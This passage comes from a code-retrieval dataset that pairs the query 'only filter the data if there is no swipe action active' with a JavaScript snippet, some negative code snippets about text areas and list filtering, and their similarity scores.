}\n\n this.trigger('change');\n }, 500));\n\n this.focus();\n }", "function drawText()\n\t{\n\t\t// Figure out the correct text\n\t\tvar text = getText();\n\n\t\twid = that.add('text', {\n\t\t\ttext: text,\n\t\t\tcolor: style.color,\n\t\t\tfont: style.font,\n\t\t\tcursor: 'pointer'\n\t\t});\n\n\t\t// Set the width of the widget\n\t\tthat.w = wid.width();\n\n\t\t// Assign a toggler\n\t\twid.applyAction('click', {\n\t\t\tclick: toggleMode\n\t\t});\n\t}", "function showText(i) {\n Shiny.onInputChange('text_contents', el.data[i-1].longtext);\n }", "handleChangeTextArea(event) {\n this.setState({content: event.target.value});\n }", "function editor_appendHTML(objname, html) {\r\n var editor_obj = document.all[\"_\" +objname + \"_editor\"];\r\n var isTextarea = (editor_obj.tagName.toLowerCase() == 'textarea');\r\n\r\n if (isTextarea) { editor_obj.value += html; }\r\n else { editor_obj.contentWindow.document.body.innerHTML += html; }\r\n}", "set text(value) {}", "set text(value) {}", "get textContent() {\n return this.text.toString();\n }", "function setMessageArea(text, type) {\n $('#message-area > div').text(text);\n}", "function showTextArea($this, options) {\n var opts = $.extend({}, $.fn.textareaCounter.defaults, options);\n var $this = $this;\n\n var txtElem = \"\";\n var charElem = \"\";\n var lineElem = \"\";\n var progElem = \"\";\n var progPerc = \"\";\n var txtCount = \"\";\n var lineCount = \"\";\n var perLine = \"\";\n txtElem = opts.txtElem;\n charElem = opts.charElem;\n lineElem = opts.lineElem;\n progElem = opts.progElem;\n progPerc = opts.progPerc;\n txtCount = parseInt(opts.txtCount) - 1;\n lineCount = parseInt(opts.lineCount) - 1;\n perLine = parseInt(opts.charPerLine);\n\n if(txtElem != undefined && txtCount != 0){\n\n $('#'+txtElem).on('input focus keyup keydown',_.debounce(function(e) {\n\n var text = $('#'+txtElem).val();\n text = $.trim(text.replace(/[\\t\\n]+/g, ''));\n var textLen = text.length;\n var cValue = parseInt(textLen) / parseInt(txtCount);\n var cPercent = cValue * 100;\n var reverse_count = txtCount - textLen;\n\n var textComplete = $('#'+txtElem).val();\n lCount = textComplete.split('\\n').length;\n lCount = parseInt(lCount) - 1;\n var lValue = parseInt(lCount) / parseInt(lineCount);\n var lPercent = lValue * 100;\n\n if(lPercent>cPercent){\n percent = lPercent;\n }else{\n percent = cPercent;\n }\n \n if((textLen >= 0)){\n\n if((textLen <= txtCount)){\n\n if(progElem != undefined){\n $('#'+progElem).css('width', percent + '%');\n }\n\n if(progPerc != undefined){\n $('#'+progPerc).html(percent + '%');\n }\n\n if(charElem != undefined){\n $(\"#\"+charElem).html(textLen);\n }\n\n if(lineElem != undefined){\n var content = $('#'+txtElem).val();\n var line_count = content.split('\\n').length;\n $(\"#\"+lineElem).html(parseInt(line_count));\n }\n\n }else{\n var orig_text = $this.val();\n var lines = orig_text.split(\"\\n\");\n var total_txtCount = parseInt(txtCount) + parseInt(lines.length) - 1;\n $this.val($this.val().substring(0,total_txtCount));\n /*return false;*/\n }\n\n }\n \n },50));\n\n if(lineElem != undefined && lineCount != 0 && perLine != 0){\n\n var lCount= 1;\n var chars= perLine;\n\n $(\"#\"+txtElem).on('keydown',function(e){\n\n var v = $('#'+txtElem).val();\n var vl = v.replace(/(\\r\\n|\\n|\\r)/gm,\"\").length;\n lCount = v.split('\\n').length;\n\n if(e.which == 13 && lCount > lineCount){\n return false;\n }\n\n /* if (e.ctrlKey==true && (e.which == '118' || e.which == '86')) {\n return false;\n }*/\n\n if(lCount <= lineCount){\n if ((parseInt(vl/lCount) == chars) && e.which != 46 && e.which != 8) {\n $('#'+txtElem).val(v + '\\n');\n }\n }\n\n\n });\n }\n\n \n }\n \n }", "function quote(mc) {\n var s = $.trim(mc.find('.mc-viewsource-text').text());\n $('#id_text').val('\\n\\n[quote]' + s + '[/quote]');\n}" ]
[ "0.7332894", "0.714946", "0.7002829", "0.66250366", "0.6528803", "0.63728094", "0.63316596", "0.6291817", "0.62742674", "0.6267371", "0.6230339", "0.6196141", "0.617899", "0.61241895", "0.6111755", "0.6076031", "0.60564345", "0.60506433", "0.6028078", "0.6015194", "0.6008185", "0.5994743", "0.5988011", "0.59628206", "0.5944457", "0.5942273", "0.594052", "0.59302396", "0.5914735", "0.59126234", "0.5905863", "0.5905004", "0.5875286", "0.5862615", "0.58420897", "0.58131534", "0.5810735", "0.5809975", "0.5803293", "0.58020085", "0.5785359", "0.57768005", "0.5771236", "0.5763415", "0.57498544", "0.57464105", "0.5724795", "0.5723872", "0.57155424", "0.5714112", "0.57100827", "0.57100827", "0.5708583", "0.57065356", "0.57065356", "0.57065356", "0.57065356", "0.56981987", "0.569661", "0.56923324", "0.56855255", "0.5684886", "0.56844985", "0.5676113", "0.5670089", "0.5668058", "0.566508", "0.56630117", "0.56623304", "0.56544083", "0.56544083", "0.56517166", "0.5646416", "0.5645849", "0.56447566", "0.56413203", "0.56310713", "0.56221396", "0.5619312", "0.56186545", "0.56167537", "0.56167537", "0.56068754", "0.55940145", "0.55902797", "0.5590263", "0.55896026", "0.5587231", "0.5586566", "0.5585592", "0.5585448", "0.5581895", "0.5581478", "0.5578043", "0.5577704", "0.5572597", "0.5572597", "0.55722106", "0.5568402", "0.5565675", "0.5560522" ]
0.0
-1
only filter the data if there is no swipe action active
function trigger_filter(){ if (in_swipe){ setTimeout(trigger_filter(), 1000); return false; }else{ filter($('#volunteers'), 'div.volunteer_wrapper'); return true; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function toggleFilter () {\n\t\tvar filterProp = Object.keys(vm.tp.filter());\n\t\tif (!$scope.showFilter && filterProp.length > 0) {\n\t\t\tvm.tp.filter({});\n\t\t}\n\t}", "function onFilter() {\r\n let filteredDataBuffer = _.cloneDeep(completeData)\r\n const selectedDatasourcesNames = _.map(selectedDatasources, (datasourceObj) => datasourceObj.value)\r\n const selectedCampaignsNames = _.map(selectedCampaigns, (campaignObj) => campaignObj.value)\r\n if (selectedDatasourcesNames && selectedDatasourcesNames.length) {\r\n filteredDataBuffer = _.filter(filteredDataBuffer, (dataObj) => {\r\n return _.includes(selectedDatasourcesNames, dataObj.Datasource)\r\n })\r\n }\r\n if (selectedCampaignsNames && selectedCampaignsNames.length) {\r\n filteredDataBuffer = _.filter(filteredDataBuffer, (dataObj) => {\r\n return _.includes(selectedCampaignsNames, dataObj.Campaign)\r\n })\r\n }\r\n setFilteredData(filteredDataBuffer)\r\n }", "function filterData() {\n selectedData = dataByState.filter(function (d) {\n return selectedStates.indexOf(d.key) > -1\n })\n }", "filterRestaurants () {\n this.sendAction('filterInit', {\n price: this.get('price'),\n isOpen: this.get('isChecked')\n });\n }", "function isFiltering() {\n var filtering = false;\n var columns = component.getColumns();\n _.each(columns, function (column) {\n if (!Utilities.isEmpty(column.filters[0].term)) {\n filtering = true;\n }\n });\n return filtering;\n }", "function filterHandler(){\n $(\"#filter-btn\").on(\"click\", function(){\n let selection = $(\"#sort\").val();\n if(selection === \"oldest\" || selection === \"newest\" || selection === \"rating\"){\n if(!getIds().length) return;\n let ids = getIds();\n $.get(\"/kimochis/filter\", \n {selection: selection, name: localStorage.getItem(\"inputText\")}, function(data){\n $(\"#main\").html(data);\n $(\"#more-btn\").attr({\"disabled\": false, \"hidden\": false});\n });\n }\n });\n}", "function vmCheckFilterForEmpty(filter) {\n\n for (var i in filter) {\n\n if (i != 'pageIndex' && i != 'pageSize') {\n\n if (filter[i])\n return false\n else\n return true\n };\n };\n }", "getFilteredTodos() {\r\n const {todos, filter} = this.state;\r\n switch(filter) {\r\n case 'Active':\r\n return todos.filter(todo => (todo.active));\r\n case 'Finished':\r\n return todos.filter(todo => (!todo.active))\r\n default:\r\n return todos; \r\n }\r\n }", "getFilteredItems(query){\r\n return this.source.filter((item) =>item[this.getOptionLabel].toLowerCase().startsWith(query.toLowerCase(), 0) && !item.invisible);\r\n }", "function experienceFilters() {\n const filtered = pokemon.filter((pexp) => pexp.base_experience > \"100\");\n displaydata(filtered);\n}", "filteredCheck({ filteredItems, localFilter }) {\n // Determine if the dataset is filtered or not\n let isFiltered = false\n if (!localFilter) {\n // If filter criteria is falsey\n isFiltered = false\n } else if (looseEqual(localFilter, []) || looseEqual(localFilter, {})) {\n // If filter criteria is an empty array or object\n isFiltered = false\n } else if (localFilter) {\n // If filter criteria is truthy\n isFiltered = true\n }\n if (isFiltered) {\n this.$emit(EVENT_NAME_FILTERED, filteredItems, filteredItems.length)\n }\n this.isFiltered = isFiltered\n }", "Filter() {\n var i, ln;\n\n if (!tp.IsEmpty(this.FilterInfoList)) {\n\n var Rows = this.GetWorkingRows();\n\n if (this.FilterInfoList.Count > 0) {\n this.fRows = tp.ListFilter(Rows, this.FilterInfoList.List, this.FilterInfoList.OrLogic);\n } else {\n this.fRows = Rows;\n }\n\n // if it was sorted, restore the sorting\n if (!tp.IsEmpty(this.SortInfoList) && this.SortInfoList.Count > 0) {\n tp.ListSort(this.fRows, this.SortInfoList.List);\n }\n\n if (this.fRows.length === 0) {\n this.fPosition = -1;\n } else if (!tp.InRange(this.fRows, this.Position)) {\n this.Position = 0;\n }\n\n if (!this.BindingSuspended) {\n for (i = 0, ln = this.fListeners.length; i < ln; i++) {\n this.fListeners[i].DataSourceFiltered();\n }\n\n this.OnFiltered();\n }\n }\n\n }", "function filterTypeSelection(e){\n if(e.target.value === ''){\n getInventory()\n } else {\n axios.get(`/inventory/search/dept?dept=${e.target.value}`)\n .then(res => setItems(res.data))\n .catch(err => alert(err))\n }\n }", "function checkFiltered() {\n if (state.highlight.length > 0 || state.red || state.green) {\n filtered = true;\n }\n else {\n filtered = false;\n }\n }", "function clearFilter() {\n loadOsListAll();\n setFiltered(false);\n }", "@action filterByClass(e) {\n const currentClass = e.target.value;\n // assignment\n if (this.dataToShow === 'assignment') {\n if (currentClass === 'reset') {\n this.selectedData = this.data.find(\n (item) => item.label === this.activeDetailTab\n ).details;\n } else {\n this.selectedData = this.data\n .find((item) => item.label === this.activeDetailTab)\n .details.filter(\n (item) => item.get('section').get('sectionId') === currentClass\n );\n }\n }\n // workspace\n if (this.dataToShow === 'workspace') {\n if (currentClass === 'reset') {\n this.selectedData = this.data.find(\n (item) => item.label === this.activeDetailTab\n ).details;\n } else {\n this.selectedData = this.data\n .find((item) => item.label === this.activeDetailTab)\n .details.filter((item) => {\n return (\n // && for error checking\n (item.get('linkedAssignment') &&\n item.get('linkedAssignment').get('section') &&\n item.get('linkedAssignment').get('section').get('sectionId') &&\n item.get('linkedAssignment').get('section').get('sectionId') ===\n currentClass) ||\n null\n );\n });\n }\n }\n }", "notFainted(){\n return this.pokemons.filter(pokemon => {\n return !pokemon.fainted\n })\n }", "function filterHandler(event) {\n // User changes are recorded and saved as key/value format\n props.setFilterAndSearchState({\n ...props.filterAndSearchState,\n [event.target.name]:\n event.target.value.length > 0\n ? event.target.value\n : !defaultFilters[event.target.name]\n ? null\n : defaultFilters[event.target.name],\n });\n props.setAnimeData(null);\n props.setTrigger(true);\n }", "checkFiltered() {\n return (\n typeof this.state.group !== \"undefined\" ||\n typeof this.state.lifespan !== \"undefined\" ||\n typeof this.state.height !== \"undefined\" ||\n typeof this.state.sortParam !== \"undefined\" ||\n typeof this.state.searchParam !== \"undefined\"\n );\n }", "function doFilter() {\n for (var i = 0; i < items.length; i++) {\n // show all\n items[i].classList.remove('thumb--inactive');\n\n // combine filters\n // - only those items will be displayed who satisfy all filter criterias\n var visible = true;\n\n for (var j = 0; j < visibleItems.length; j++) {\n visible = visible && items[i].classList.contains(visibleItems[j]);\n }\n\n if (!visible) {\n items[i].classList.add('thumb--inactive');\n }\n }\n }", "function filterResults(event) {\n const filter = event.target.value;\n if (filter === \"baking\"){\n const baking = products.filter(result => (result.family.baking === true));\n setFilteredProducts(baking);\n } else if (filter === \"grilling\"){\n const grilling = products.filter(result => (result.family.grilling === true));\n setFilteredProducts(grilling);\n } else if (filter === \"seasoning\"){\n const seasoning = products.filter(result => (result.family.seasoning === true));\n setFilteredProducts(seasoning);\n } else if (filter === \"extract\"){\n const extract = products.filter(result => (result.family.extract === true));\n setFilteredProducts(extract);\n } else if (filter === \"teas\"){\n const teas = products.filter(result => (result.family.teas === true));\n setFilteredProducts(teas);\n } else {\n setFilteredProducts(products);\n }\n}", "filterScroller() {\n return this.state.categories.map((item) => {\n if (item.selected==false) {\n return (\n <TouchableHighlight key = { item.id } style={ styles.item } onPress={ () => { this.falseState(item.name, item.id); } }>\n <Text style={ { color:'white', fontSize:12, fontFamily: 'source-sans-pro-semibold', } }>{item.name}</Text>\n </TouchableHighlight>\n );\n } else {\n return (\n <TouchableHighlight key = { item.id } style = {[styles.item, { backgroundColor:'white', }]} onPress={() => {this.setOpposite(item.id);}}>\n <Text style={{ color:'black', fontSize:12, fontFamily: 'source-sans-pro-semibold',}}>{item.name}</Text>\n </TouchableHighlight>\n );\n }\n })\n }", "filterSpace(state, payload) {\n let filtered = [];\n if (payload == 0) {\n state.warehouses = state.data;\n } else if (payload > 0 && state.warehouses === null) {\n filtered = state.data.filter((item) => {\n return item.space_available <= payload;\n });\n state.warehouses = filtered;\n } else if (payload > 0 && state.warehouses !== null) {\n filtered = state.warehouses.filter((item) => {\n return item.space_available <= payload;\n });\n state.warehouses = filtered;\n } else {\n alert(\"Cannot Filter for negative values\");\n }\n }", "function filterUsers()\n { \n if(currentState === \"online\" || currentState === \"offline\")\n {\n var mustBeOnline = currentState === \"online\" ? true : false;\n\n users = users.filter(function(item){\n return (item.streamInfo.stream !== null) === mustBeOnline;\n });\n }\n\n fillResultBox();\n }", "function setFilter(e) {\n const elem = e.currentTarget;\n const transaction_list = document.querySelectorAll('#activity #filter-cards .activity-row');\n if (elem.dataset.active === 'true') {\n filter_list.splice(filter_list.indexOf(elem.dataset.number), 1);\n elem.dataset.active = 'false';\n } else {\n filter_list.push(elem.dataset.number);\n elem.dataset.active = 'true';\n }\n //filter the transactions list\n for (let key of transaction_list)\n if (filter_list.includes(key.dataset.number)) key.dataset.active = 'true';\n else key.dataset.active = 'false';\n if (filter_list.length === 0)\n for (let key of transaction_list) key.dataset.active = 'true';\n}", "getFilterTodo() {\n\t\tswitch (this.props.filter){\n\t\t\tcase TODO_FILTERS.SHOW_COMPLETED.type :\n\t\t\t\treturn this.props.todos.filter((item) => item.completed == true);\n\t\t\tbreak;\n\t\t\tcase TODO_FILTERS.SHOW_ACTIVE.type :\n\t\t\t\treturn this.props.todos.filter((item) => item.completed == false);\n\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\treturn this.props.todos;\n\t\t}\t\t\n\t}", "getActiveFilters(){\n\t\treturn false;\n\t}", "toggleFilter(e) {\n if (\n e === undefined ||\n (this.filterColumn == e.detail.columnNumber && this.filtered)\n ) {\n this.filtered = false;\n this.filterText = null;\n this.filterColumn = null;\n } else {\n this.filterText = e.detail.text;\n this.filterColumn = e.detail.columnNumber;\n this.filtered = true;\n }\n }", "function filter(e){\n var arrayactive = [], arraycompleted = [];\n for (var i = 0; i< loginUser.tasks.length; i++){\n if(loginUser.tasks[i].status === false){\n arrayactive.push(loginUser.tasks[i]);\n }\n else{\n arraycompleted.push(loginUser.tasks[i]);\n }\n }\n if(e.target.id === 'active'){\n showAllTasks(arrayactive);\n }\n else{\n if(e.target.id === 'completed'){\n showAllTasks(arraycompleted);\n }\n else{\n showAllTasks(loginUser.tasks);\n }\n }\n }", "function handleFilterTemp(event) {\n dispatch(filterByTemperament(event.target.value));\n setPagActual(1);\n }", "get filtered() {\n return this._filtered;\n }", "filteredMembers() {\n return this.members.filter(member => {\n let filtro1 =\n this.checkboxes.includes(member.party) ||\n this.checkboxes.length == 0;\n let filtro2 =\n this.stateSelected == member.state ||\n this.stateSelected == \"all\";\n return filtro1 && filtro2;\n });\n }", "function filter() {\n \n}", "filterInstances() {\n let hidden_filters = ['offset', 'limit', 'page'];\n let filters = this.getFiltersPrepared(this.qs_url);\n\n for(let filter in filters) {\n if(hidden_filters.includes(filter)){\n delete filters[filter];\n }\n }\n\n this.$router.push({\n name: this.$route.name,\n params: this.$route.params,\n query: filters,\n });\n }", "onStoreFilter() {}", "function filterValues(data) \r\n{\r\n data = data.filter(isEligible);\r\n return data;\r\n}", "filter () {\n this.props.dispatch(filterLogs(this.state));\n this.setDateRange();\n }", "function filterGlobal () {\n jq('#oppdragMainList').DataTable().search(\n \t\tjq('#oppdragMainList_filter').val()\n ).draw();\n }", "filter() {\n\t}", "filter() {\n\t}", "_filterData(data) {\n // If there is a filter string, filter out data that does not contain it.\n // Each data object is converted to a string using the function defined by filterTermAccessor.\n // May be overridden for customization.\n this.filteredData =\n !this.filter ? data : data.filter(obj => this.filterPredicate(obj, this.filter));\n if (this.paginator) {\n this._updatePaginator(this.filteredData.length);\n }\n return this.filteredData;\n }", "onFiltered (filteredItems) {\n this.checkedItems = [];\n this.checkAll = false;\n this.totalRows = filteredItems.length;\n this.currentPage = 1;\n }", "function filterHandler() {\n var selectedVal = filterOptions.value;\n\n if (selectedVal === \"0\") {\n render(contacts);\n } else {\n render(filterByCity(selectedVal));\n }\n}", "function removeFilter() {\n vm.filterApplied = null;\n activate();\n }", "filterMatchingItems(item) {\n if (this.state.shelf_life === 'All' && this.state.type === 'All') {\n return true;\n } else if (this.state.shelf_life === 'All' && this.state.type === item.type) {\n return true;\n } else if (this.state.shelf_life === item.shelf_life && this.state.type === \"All\") {\n return true;\n } else if (this.state.shelf_life === item.shelf_life && this.state.type === item.type) {\n return true;\n } else {\n return false;\n }\n\n }", "function handleFilterList() {\n if (startDate === \"\" || endDate === \"\") {\n notify(\n \"warning\",\n \"Para filtrar a lista de ordens de serviço atendidas os dados do periodo devem estar preenchidos, por favor verifique.\"\n );\n\n inputFocus(\"startDate\");\n return;\n }\n\n if (startDate > endDate) {\n notify(\n \"warning\",\n \"Para filtrar a lista de ordens de serviço atendidas a data final do periodo não pode ser menor que a data inicial, por favor verifique.\"\n );\n\n inputFocus(\"startDate\");\n return;\n }\n\n loadOsListFiltered();\n }", "function launchFilter() {\n component.filterChanged = true;\n component.visibleRows = grid.api.core.getVisibleRows().length;\n if (isFiltering()) {\n if (!component.wasFiltering) {\n component.defaultPageSize = component.scope.gridOptions.paginationPageSize;\n component.previousPage = component.model.page;\n component.wasFiltering = true;\n component.scope.gridOptions.paginationPageSize = component.model.values.length;\n component.model.page = 1;\n }\n } else {\n component.wasFiltering = false;\n component.scope.gridOptions.paginationPageSize = component.defaultPageSize;\n component.model.page = component.previousPage;\n }\n }", "filter() {\n\n\n /** This is the representation of the fill column after the alt column filters have been applied to it. This data will be combined with the fillColFilterData when it is time to draw to the canvas.\n * @alias filteredAltColData\n * @memberof Pane\n * @instance\n */\n this.paneOb.filteredAltColData = this.paneOb.initialColData.map((e, i) => {\n let isNa = false\n for (let altfilter of this.altfilters) {\n if (altfilter.boolMask[i] == 0) {\n isNa = true\n break\n }\n }\n if (isNa) {\n return NaN\n } else {\n return e\n }\n })\n let e = new Event(\"filterChange\")\n // get the canvas element\n this.paneOb.paneDiv.querySelector(\"canvas\").dispatchEvent(e)\n\n // extract filter name information to use in the tooltip\n\n /** This is the active alternate column filter information used for the creation of tooltips. \n * @alias altFilterInfo\n * @memberof Pane\n * @instance\n */\n this.paneOb.altFilterInfo = \"\"\n for (let altfilter of this.altfilters) {\n //\n this.paneOb.altFilterInfo += JSON.stringify(altfilter.expInfo)\n }\n }", "function onFilterChange(event, payload) {\n\t\tconst entry = getEntry(props.titleMap, payload.value);\n\t\tupdateValue(event, entry, false);\n\t\tshowFilteredSuggestions();\n\n\t\t// resetting selection here in order to reinit the section + item indexes\n\t\tresetSelection();\n\t}", "onAssignmentFilter() {\n if (this.isHorizontal) {\n this.refresh();\n }\n }", "function filteredData(ds){\n\t\treturn ds.filter(function(entry){\n\t\t\t\treturn (UniNameFilter === null || UniNameFilter === String(entry[\"VIEW_NAME\"]))\n\t\t\t\t\t&& (UOAFilter === null || UOAFilter === String(entry[\"Unit of assessment name\"])); // keep if no year filter or year filter set to year being read,\n\t\t\t})\n\t}", "filterMovies(){\r\n // reset array for filter\r\n this.movies = this.copyMovies\r\n // check genre\r\n if (this.selectedGenreM !== 'all')\r\n { \r\n this.movies = this.movies.filter(\r\n (movie) => {\r\n if (movie.genre_ids.includes(this.selectedGenreM))\r\n return movie\r\n }\r\n )\r\n } \r\n else {\r\n this.movies = this.copyMovies;\r\n } \r\n // check if there are movies for the genre\r\n this.resultMovies = (this.movies.length ===0) ? true : false ;\r\n //return result\r\n return this.movies;\r\n \r\n }", "filterDataByInputTextTag() {\n const activeTag = this.scopeObject.objModel.tag;\n const searchTerm = this.scopeObject.objModel.text;\n const endPoint = this.epProvider.getEndPointByName('searchTitle');\n\n if (activeTag === 'filtered') {\n const searchProm = this.httpObj.get(`${endPoint}?search=${searchTerm}`);\n searchProm.then(\n (response) => {\n this.scopeObject.allData = response.data;\n },\n (errorData) => {\n this.scopeObject.allData = []\n }\n );\n }\n }", "function handleSearchButtonClick() {\n \n filteredData = dataSet;\n // Format the user's search by removing leading and trailing whitespace, lowercase the string\n var filterDatetime = $dateInput.value.trim().toLowerCase();\n var filterCity = $cityInput.value.trim().toLowerCase();\n var filterState = $stateInput.value.trim().toLowerCase();\n var filterCountry = $countryInput.value.trim().toLowerCase();\n var filterShape = $shapeInput.value.trim().toLowerCase();\n\n // Set filteredAddresses to an array of all addresses whose \"state\" matches the filter\n filteredData = dataSet.filter(function(address) {\n var addressDatetime = address.datetime.toLowerCase();\n var addressCity = address.city.toLowerCase();\n var addressState = address.state.toLowerCase();\n var addressCountry = address.country.toLowerCase();\n var addressShape = address.shape.toLowerCase();\n\n\n\n if ((addressDatetime===filterDatetime || filterDatetime == \"\") && \n (addressCity === filterCity || filterCity == \"\") && \n (addressState === filterState || filterState == \"\") &&\n (addressCountry === filterCountry || filterCountry == \"\") && \n (addressShape === filterShape || filterShape ==\"\")){\n \n return true;\n }\n return false;\n console.log(filteredData);\n });\nloadList();\n}", "function filterFunction() {\n \n}", "isNotFiltered(deal) {\n const drinks = this.props.drinks\n const events = this.props.events\n const food = this.props.food\n const types = deal.types\n const day = this.props.day\n if (deal.types === undefined || deal.types === null) {\n return false\n }\n\n let validType = false\n if (drinks && types.includes(\"Drinks\")) {\n validType = true\n }\n\n if (food && types.includes(\"Food\")) {\n validType = true\n }\n\n if (events && types.includes(\"Events\")) {\n validType = true\n }\n\n // type isn't filtered and it's on the day users want to see\n return validType && (deal.days.includes(day) || day === \"Any\")\n }", "function filterHandler(e) {\n if (e.target.innerHTML === 'burgers') {\n setDisplayFood([])\n setDisplayFood([...burgers])\n } else if (e.target.innerHTML === 'sides') {\n setDisplayFood([])\n setDisplayFood([...sides])\n } else if (e.target.innerHTML === 'drinks') {\n setDisplayFood([])\n setDisplayFood([...drinks])\n } else if (e.target.innerHTML === 'all') {\n setDisplayFood([])\n setDisplayFood([...burgers, ...sides, ...drinks])\n }\n }", "removeAllFilters() {}", "action(e) {\n this.filterCategories = e\n if (!this.active) {\n $.fn.dataTable.ext.search.push(this.filter)\n this.active = true\n }\n $('#achievements').DataTable().draw()\n }", "filterByStatus(status){\n let todosTemp = [];\n \n this.props.observer.filteredTodos.forEach(function (todo) {\n debugger;\n if(todo.props.isSelected){\n todosTemp.push(todo);\n }\n });\n \n return todosTemp; \n }", "function filterNames () {\n\n // Declare variable to hold value of filtered names\n let filteredNames;\n\n // If all...\n if (isAllShowing===true) {\n filteredNames = myNames.map((name) => {\n name.is_visible=true\n return name\n });\n setMyNames(filteredNames);\n }\n\n // If first...\n else if (isFirstShowing===true) {\n filteredNames = myNames.map((name) => {\n if (name.type==='first') {\n name.is_visible=true\n return name\n }\n else {\n name.is_visible=false\n return name;\n }\n });\n setMyNames(filteredNames);\n }\n\n // If middle...\n else if (isMiddleShowing===true) {\n filteredNames = myNames.map((name) => {\n if (name.type==='middle') {\n name.is_visible=true\n return name\n }\n else {\n name.is_visible=false\n return name;\n }\n });\n setMyNames(filteredNames);\n }\n\n // If full...(implied as all other types are specified in above conditionals)\n else {\n filteredNames = myNames.map((name) => {\n if (name.type==='full') {\n name.is_visible=true\n return name\n }\n else {\n name.is_visible=false\n return name;\n }\n });\n setMyNames(filteredNames);\n }\n }", "onStoreFilter() {\n if (!this.storeTrackingSupended && this.rendered) {\n this.updateColumnFilterFields();\n }\n }", "function search () {\n saveState();\n self.filtered = self.gridController.rawItems.filter(self.filterFunc);\n self.gridController.doFilter();\n }", "function filter(obj, action) {\n var filtered = [];\n each(obj, function(item) {\n if(action(item)) {\n filtered.push(item);\n }\n });\n return filtered;\n}", "function filterItems() {\nvar filter, room_classes, txtHeaderValue, txtDataValue;\n\tfilter = filter_table_input.value.toUpperCase();\n\troom_classes = [\"fs\", \"ad\", \"fc\", \"cas\", \"bd\", \"cc\", \"cbs\", \"bridge\", \"rc\", \"ras\", \"hg\", \"fat\", \"rbs\", \"lab\", \"fbt\", \"ab\", \"medlab\", \"cat\", \"ab2\", \"ref\", \"cbt\", \"bb\", \"nexus\", \"rat\", \"ib\", \"er\", \"rbt\"];\n\n\tfor (var i = 0; i < room_classes.length; i++) {\n\t\tvar selected_room = storage_table.getElementsByClassName(room_classes[i]);\n\t\ttxtHeaderValue = selected_room[0].innerText;\n\t\ttxtDataValue = selected_room[1].innerText;\n\t\tif (txtHeaderValue.toUpperCase().indexOf(filter) > -1 || txtDataValue.toUpperCase().indexOf(filter) > -1) {\n\t\t\tselected_room[0].style.display = \"\";\n\t\t\tselected_room[1].style.display = \"\";\n\t\t}\n\n\t\telse {\n\t\t\tselected_room[0].style.display = \"none\";\n\t\t\tselected_room[1].style.display = \"none\";\n\t\t}\n\t}\n}", "function filterAccommodation() {\r\n let guests = noOfGuestsEl.text();\r\n let nights = noOfNightsEl.val();\r\n let filteredAccommodation = filterByGuests(accomData.accommodation, guests);\r\n filteredAccommodation = filterByNights(filteredAccommodation, nights);\r\n displayAccom(filteredAccommodation);\r\n}", "setFilterToNone() {\n\t\tthis.props.setFilter(\"\", \"\");\n\t}", "function filterItem (){\n let filter = valorfilter();\n estructuraFilter = \"\";\n if (filter == \"Prime\"){\n for (propiedad of carrito) {\n if (propiedad.premium) imprimirItemFilter(propiedad);\n }\n noItenCarrito();\n } else if (filter == \"Todos\") {\n estructuraPrincipalCarrito();\n } \n}", "function filterItems() {\n //returns newPropList, array of properties\n var newPropList = featured;\n //Beds\n console.log(1, newPropList);\n if(currentFilters.beds == 5) {\n newPropList = newPropList.filter(item => item.bedrooms >= currentFilters.beds);\n }\n else if (currentFilters.beds == 0) {\n\n }\n else {\n newPropList = newPropList.filter(item => item.bedrooms == currentFilters.beds);\n }\n console.log(2, newPropList);\n //Baths\n if(currentFilters.baths == 5) {\n newPropList = newPropList.filter(item => item.fullBaths >= currentFilters.baths);\n }\n else if (currentFilters.baths == 0) {\n\n }\n else {\n newPropList = newPropList.filter(item => item.fullBaths == currentFilters.baths);\n }\n console.log(3, newPropList);\n //Price\n if(currentFilters.max == 0) {\n\n }\n else if(currentFilters.min == 1000000) {\n newPropList = newPropList.filter(item => item.rntLsePrice >= currentFilters.min);\n }\n else {\n newPropList = newPropList.filter(item => item.rntLsePrice >= currentFilters.min && item.rntLsePrice <= currentFilters.max);\n }\n console.log(4, newPropList);\n //Type\n console.log(currentFilters.type);\n if(currentFilters.type == \"All\") {\n console.log('all');\n }\n else if(currentFilters.type == \"Other\") {\n newPropList = newPropList.filter(item => item.idxPropType == \"Residential Income\" || item.idxPropType == \"Lots And Land\");\n console.log('other');\n }\n else {\n newPropList = newPropList.filter(item => item.idxPropType == currentFilters.type);\n console.log('normal');\n }\n //Search Term\n console.log(5, newPropList);\n if(currentFilters.term != '')\n {\n newPropList = newPropList.filter(item => \n item.address.toLowerCase().indexOf(currentFilters.term.toLowerCase()) != -1 ||\n item.cityName.toLowerCase().indexOf(currentFilters.term.toLowerCase()) != -1\n );\n }\n console.log(6, newPropList);\n return newPropList;\n }", "function filterTullkontor () {\n \t\tjq('#tullkontorList').DataTable().search(\n \t\tjq('#tullkontorList_filter').val()\n \t\t).draw();\n }", "getFilteredTodos(){\n if(this.props.filterResults && this.props.filterResults === \"0\"){\n return this.props.observer.filteredTodos;\n }else if(this.props.filterResults && this.props.filterResults === \"1\"){\n //pending\n return this.filterByStatus(false);\n }else if(this.props.filterResults && this.props.filterResults === \"2\"){\n //done\n return this.filterByStatus(true);\n }\n \n \n }", "function filterData(){\r\n // temporary variables\r\n var tempColl = [];\r\n var tempCat = [];\r\n // Fetching selected checkbox filter values for collection and categories\r\n $.each($(\"input[name='brands']:checked\"), function(){\r\n tempColl.push($(this).val());\r\n });\r\n\r\n $.each($(\"input[name='categories']:checked\"), function(){\r\n tempCat.push($(this).val());\r\n });\r\n // fetching selected filter value for color\r\n color = $(\"input[name='colors']:checked\").val();\r\n if (tempColl.length > 0) {\r\n coll = tempColl;\r\n }\r\n else{\r\n coll = \"All\";\r\n }\r\n if (tempCat.length > 0) {\r\n cat = tempCat;\r\n }\r\n else{\r\n cat = [\"All\"];\r\n }\r\n if (color == undefined) {\r\n color = [\"All\"];\r\n }\r\n // Fetch selected items only according to filter applied\r\n getItem(coll, cat, color, minprice, maxprice);\r\n }", "function filterHazards(data) {\n return data.type === \"Screening\";\n }", "restFilter(item) {\n return item.restaurantName === this.state.restaurantTitle; \n }", "filterData(type,value){\n\t\tvar arr = [];\n\t\tthis.state.data.forEach((d,i) => {\n\t\t\tif (!this.isFiltered(d,type,value))\n\t\t\t\tarr.push(i);\n\t\t});\n\t\tif(type === 